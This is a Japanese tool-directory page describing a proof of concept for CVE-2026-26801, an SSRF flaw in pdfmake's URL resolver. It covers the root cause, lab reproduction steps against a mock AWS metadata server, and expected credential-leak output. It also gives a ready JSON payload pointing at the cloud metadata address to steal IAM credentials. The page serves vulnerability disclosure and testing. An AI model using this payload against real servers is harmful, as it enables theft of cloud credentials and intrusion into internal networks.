Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-26801-pdfmake-ssrf — # CVE-2026-26801 の PoC: pdfmake URLResolver.js における SSRF(>= 0.3.0-beta.2、<= 0.3.5) | Kitploit
ツール/GitHubGitHub/mariopepe/cve-2026-26801-pdfmake-ssrf
脆弱性分析エクスプロイト情報収集ウェブセキュリティペネトレーションテスト
GitHubmariopepe/cve-2026-26801-pdfmake-ssrf

CVE-2026-26801-pdfmake-ssrf

# CVE-2026-26801 の PoC: pdfmake URLResolver.js における SSRF(>= 0.3.0-beta.2、<= 0.3.5)

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

pdfmake SSRF 脆弱性 PoC

脆弱性の概要

フィールド値
パッケージpdfmake
バージョン>= 0.3.0-beta.2, <= 0.3.5
修正版0.3.6
CVECVE-2026-26801
タイプサーバーサイドリクエストフォージェリ (SSRF)
場所src/URLResolver.js
深刻度高

根本原因

root@kitploit:~
// URLResolver.js line 3
const response = await fetch(url, { headers });  // NO VALIDATION!

docDefinition に images、attachments、または files 内の URL が含まれている場合、pdfmake は検証なしでそれらを取得します:

  • ドメインの許可リスト/ブロックリストなし
  • 内部 IP (127.0.0.1、169.254.169.254、10.x.x.x) に対する保護なし
  • カスタムヘッダーをサポート (認証バイパスを可能にする)

再現手順

セットアップ

root@kitploit:~
npm install

ターミナル 1 - モック AWS メタデータサーバー

root@kitploit:~
npm run metadata

ターミナル 2 - 脆弱な PDF サーバー

root@kitploit:~
npm run server

ターミナル 3 - 攻撃の実行

ブラインド SSRF (サーバーが外部リクエストを行うことを証明):

root@kitploit:~
npm run attack

完全読み取り SSRF (生成された PDF に資格情報が埋め込まれる):

root@kitploit:~
npm run exfiltrate

期待される結果

ブラインド SSRF (npm run attack)

メタデータサーバーの出力:

root@kitploit:~
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<

これは、脆弱なサーバーが制御されたエンドポイントに対して外部リクエストを行ったことを証明します。

完全読み取り SSRF (npm run exfiltrate)

攻撃スクリプトは exfiltrated.pdf を生成します。任意の PDF ビューアで開くと、AWS 資格情報の JSON がファイル添付 (metadata.json) として埋め込まれています。これは、ブラインド SSRF だけでなく、完全なデータ流出を証明します。攻撃者は実際のレスポンス本文を PDF 内で取得できます。

実世界への影響

  1. AWS/GCP/Azure 資格情報の窃取 - クラウドメタデータエンドポイントへのアクセス
  2. 内部ネットワークへのアクセス - 内部サービスへの到達
  3. ポートスキャン - 内部インフラストラクチャの列挙
  4. 認証バイパス - 認証をバイパスするためのカスタムヘッダー

攻撃ペイロード

root@kitploit:~
{
  "content": ["Hello"],
  "images": {
    "x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }
}

解説記事

発見の経緯、攻撃チェーン、開示のタイムラインを含む完全な技術解説: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf

ツールをダウンロード